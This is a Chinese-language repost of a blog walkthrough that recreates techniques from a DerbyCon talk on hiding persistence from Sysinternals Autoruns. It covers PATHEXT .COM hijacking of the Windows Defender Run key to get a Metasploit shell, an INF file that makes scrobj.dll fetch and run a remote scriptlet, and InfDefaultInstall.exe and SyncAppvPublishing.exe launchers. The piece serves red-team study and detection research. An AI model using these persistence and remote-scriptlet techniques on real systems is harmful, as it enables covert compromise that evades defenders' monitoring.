【转】http://bobao.360.cn/learning/detail/4666.html


背景


在第七届的DerbyCon大会上, Chris Bisnett和Kyle Hanslovan发表了一个名叫“Evading Autoruns”的演讲。在这篇演讲中, Kyle 和Chris展示了绕过微软Sysinternals Autoruns工具检查的方法。他们主要利用“PATHEXT”这个Windows环境变量以及Microsoft签名的可执行文件来持久运行注册表项。由于这些家伙的演讲实在是太精彩了,因此我强烈推荐你们看一下他们以下发布的与演讲有关的资料:

Talk

Slides

PoC

Example “shady” INF

Github


摘要


从***者的视角来看,获取对远端机器的访问权限是关键;而从安全防护的视角来看,发现***者的踪迹同样重要。在这次演讲中,Kyle 和Chris披露了几种“高端”技术用于绕过最常见的系统监视工具,这些“高端”技术涉及重新创建注册表中的run key、非常规利用搜索顺序以及利用可信应用程序。为了补充他们的技术说明,针对每种绕过方法本文都将包括demo演示和检测建议。现在我们已经回顾了上述所有的材料,下面我们对该演讲中有趣的技术内容进行深入探讨。


Autoruns扩展搜索顺序技术


在幻灯片68页,我们看到一个有趣的声明,具体如下图所示:

 https://i-blog.csdnimg.cn/blog_migrate/e38bd42719f98ea03ea52e8bc9f270cc.png

上图中红色框中的内容让我想起Windows上的“PATHEXT”环境变量,之后我继续阅读下面几张幻灯片,以确保我了解搜索顺序如何工作,然后我看到以下幻灯片。

 https://i-blog.csdnimg.cn/blog_migrate/28ca6b67b31c4d4983dd11ac2577a2b8.png

通过上图我们发现,PATHEXT环境变量在 '.EXE' 之前会去查找'.COM'扩展名,并且这一发现在下一张幻灯片中得到了验证,这让我想起了Derbycon 3.0中的Christopher Campbell和Matt Graeber的“Living Off the Land”演讲 。

 https://i-blog.csdnimg.cn/blog_migrate/c317865d09b11c0fc2a9fc909bb58fc0.png

现在,我们了解了搜索顺序是如何工作的。理论上,如果我们修改了现有的注册表项,那么我们应该可以加载'.COM'而不是'.EXE',因为搜索顺序会首先查找'.COM'扩展名,这正是利用了Windows的工作原理,下面我们继续研究他们的幻灯片。

 https://i-blog.csdnimg.cn/blog_migrate/cb80b02a10b4adda98a1ca184d6e8de2.png

上图看起来像是Windows 10上Windows Defender的注册表项。我猜测下面必须要将这个注册表项的值从“C:\ Program Files \ Windows Defender \ MSASCuiL.exe”修改为“C:\ Program Files \ Windows Defender \ MSASCuiL”,并将“.COM”文件放在同一目录中。 下面让我们来看看我的猜测是否正确。

 https://i-blog.csdnimg.cn/blog_migrate/e02cbc1bb6a2ca39db4fd43c78efb798.png

通过上图发现我的猜测是对的。我们来看看他们是否将“.COM”文件添加到同一个目录了。

 https://i-blog.csdnimg.cn/blog_migrate/6aca612af843ce5c0ed9c6b6f8da367d.png

从上面ppt上来看他们的确那么做了,下面我们来研究一下AutoRuns程序。

 https://i-blog.csdnimg.cn/blog_migrate/7933572b1f0a95d0e3771d314fa29340.png

通过上图发现,这的确是一个十分漂亮的绕过,从图中可以看到我们的“.COM”文件的发行者是“Microsoft Corporation”。

现在我们了解了“搜索顺序”的工作原理,下面我们在Windows 7和Windows 10中做个实验。首先,使用我开发的GreatSCT工具生成一个COM scriptlet payload,该工具在使用的时候需要首先安装Python3和Metasploit。其次,需要目标系统上安装了微软的 Excel。下面我们开始我们的实验:

1
2
git clone https: //github .com /GreatSCT/GreatSCT
python3 gr8sct.py

https://i-blog.csdnimg.cn/blog_migrate/c1a1c4af040cf356f9aed14af6462228.png 

执行上述两个操作之后将看到以下提示,按任意键开始实验。

 https://i-blog.csdnimg.cn/blog_migrate/7502b6bea19bfe446220c0ee29118c54.png

我们将使用“SCT / regsvr32.cfg”选项,输入3,然后按Enter键。下图是上述生成的payload的配置参数:

 https://i-blog.csdnimg.cn/blog_migrate/0be558583d2972e2817ae667a545e27f.png

注意我将输出文件设置为“MSASCuiL.com”。输入generate,然后按Enter键。

 https://i-blog.csdnimg.cn/blog_migrate/e5744c0a9d25532079382d0f679c7007.png

现在我们生成了一个COM有效载荷,下面我们可以测试“扩展搜索顺序”技术了。 首先安装一个有Excel的Windows 7虚拟机。第一步,让我们修改Windows Defender注册表项:

1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth (REG_EXPAND_SZ) –C:\Program Files\Windows Defender\MSASCui

 https://i-blog.csdnimg.cn/blog_migrate/f1d1019734e6a7a1db7ce0b589856e62.png

将COM有效载荷放在C:\Program Files\Windows Defender\并命名为“MSASCui.com”

 https://i-blog.csdnimg.cn/blog_migrate/20b886b15f63331f101aae4cae902ab2.png

下一步设置metasploit的监听程序:

 https://i-blog.csdnimg.cn/blog_migrate/0f7beebaf5ea4dd8e8b069b907303f95.png

然后重新启动Windows 7 VM并等待我们的shell。

 https://i-blog.csdnimg.cn/blog_migrate/7df610fea74b43c7274e5de0c9defdb7.png

从上图可以看到,我们成功获取到了一个shell。


Autoruns INF 技术


首先让我们来看一下Casey Smith (@subtee)关于Scriptlets的介绍:

 https://i-blog.csdnimg.cn/blog_migrate/bd77b62860d23eaad51408207563f728.png

下面是安全防护对上述***的防护:

 https://i-blog.csdnimg.cn/blog_migrate/de6b8368d0bd4614db20bf832e393ed2.png

Chris和Kyle在MSDN上发现了关于“INF”文件的介绍。

https://i-blog.csdnimg.cn/blog_migrate/50e694010b467ecb49741e1344175fbf.png

下面我们继续浏览他们的幻灯片,看看是否有关于“INF”的例子。

 https://i-blog.csdnimg.cn/blog_migrate/ec3085846eb19c00a1cebb5514507c1e.png

上图的确是一个关于“INF”文件的例子,但这是如何工作的?通过阅读下面这张ppt我发现他们使用的是“rundll32.exe”而不是“regsvr32.exe”。

 https://i-blog.csdnimg.cn/blog_migrate/ec3085846eb19c00a1cebb5514507c1e.png

下面我将演示如何使用“rundll32.exe”和“INF”文件来绕过微软的Antorun技术。

 https://i-blog.csdnimg.cn/blog_migrate/d5bf610c8173dbfbeeb4b10a6021ffe9.png

在本实验中我依然使用上述使用GreatSCT工具生成的payload,而且出于安全性的考虑,我将对ppt中提供的shady.inf进行修改,内容如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; ———————————————————————-
; Required Sections
; ———————————————————————-
[Version]
Signature=$CHICAGO$
Provider=test
Class=Printer
[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
; ———————————————————————-
; Models Section
; ———————————————————————-
[ModelsSection.NTx86]
UnregisterDlls = Squiblydoo
[ModelsSection.NTia64]
UnregisterDlls = Squiblydoo
[ModelsSection.NTamd64]
UnregisterDlls = Squiblydoo
; ———————————————————————-
; Support Sections
; ———————————————————————-
[DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,https://blog.conscioushacker.io/testaroo.sct

我将上述内容保存到“testaroo.inf”文件中,并将放在我的桌面上。下一步是创建一个注册表项。

 https://i-blog.csdnimg.cn/blog_migrate/093a3faee05d492a0db6e8cf0684b307.png

与上一个实验一样:首先设置一个metasploit监听器,然后重新启动Windows 7 VM并等待shell回连。但是我并没有得到一个shell,因此我打开Process Hacker来查找原因。

 https://i-blog.csdnimg.cn/blog_migrate/feac7437862ad37a7a0ad23095ac07a6.png

在上图进程树中我并没有找到rundll32.exe,但通过在Windows 7上手动执行“rundll32.exe setupapi,InstallHinfSection ModelsSection 128 C:\Users\lopi\Desktop\testaroo.inf”时,我发现是可以得到一个回连的shell的,但Windows 10上却不行。通过查阅资料我找到了原因,Chris和Kyle在他们的演讲中并没有提到这些内容,那就是:Windows 10要求驱动程序必须具有合法的签名,以便在没有用户提示的情况下进行安装。

Autoruns InfDefaultInstall.exe 技术

接下来我们介绍InfDefaultInstall.exe技术,具体如下图所示:

 https://i-blog.csdnimg.cn/blog_migrate/10e318384fa9ba44aff5a70a25265708.png

通过阅读ppt我发现,我们可以使用“InfDefaulInstall.exe”而不是“rundll32.exe”,并可以使用相同的方式将它应用到以前的技术。首先我们启动Windows 10 VM,然后我们看看是否有相同的数字签名以及UAC是否提示“InfDefaultInstall.exe”。

 https://i-blog.csdnimg.cn/blog_migrate/b8703740b31d754c562ebd6b35ba1784.png

有UAC的提示,但是数字签名怎么样呢?

https://i-blog.csdnimg.cn/blog_migrate/1cff528379cab68ed1031aed85211acb.png 

实验中我们发现Windows 10上好像并不行,因此我建议在Windows 7以下的操作系统上使用这种技术。而且,在Windows 7和Windows 10操作系统上,我也依然无法通过的autoruns注册表项使其工作。尽管该技术在Chris和Kyle的演讲中看起来很神奇,但在实践中却不是这样的。

Autoruns SyncAppvPublishing.exe 技术

让我们通过一张幻灯片来直接介绍该技术吧。

 https://i-blog.csdnimg.cn/blog_migrate/3b788a78f22cc028d0ce76dd8cf7ae41.png

该技术看起来很简单,下面我们试着在Windows 10 VM中添加一个注册表项。

 https://i-blog.csdnimg.cn/blog_migrate/721033def1100415400421221dbcd712.png

现在我们重新启动我们的Windows 10 VM并期待calc.exe应用程序能够执行起来,实验结果如下图所示:

 https://i-blog.csdnimg.cn/blog_migrate/8e36ed9c0bd3c315aebb7a946b2b2f9e.png

Ok, 我们成功弹出了计算器程序!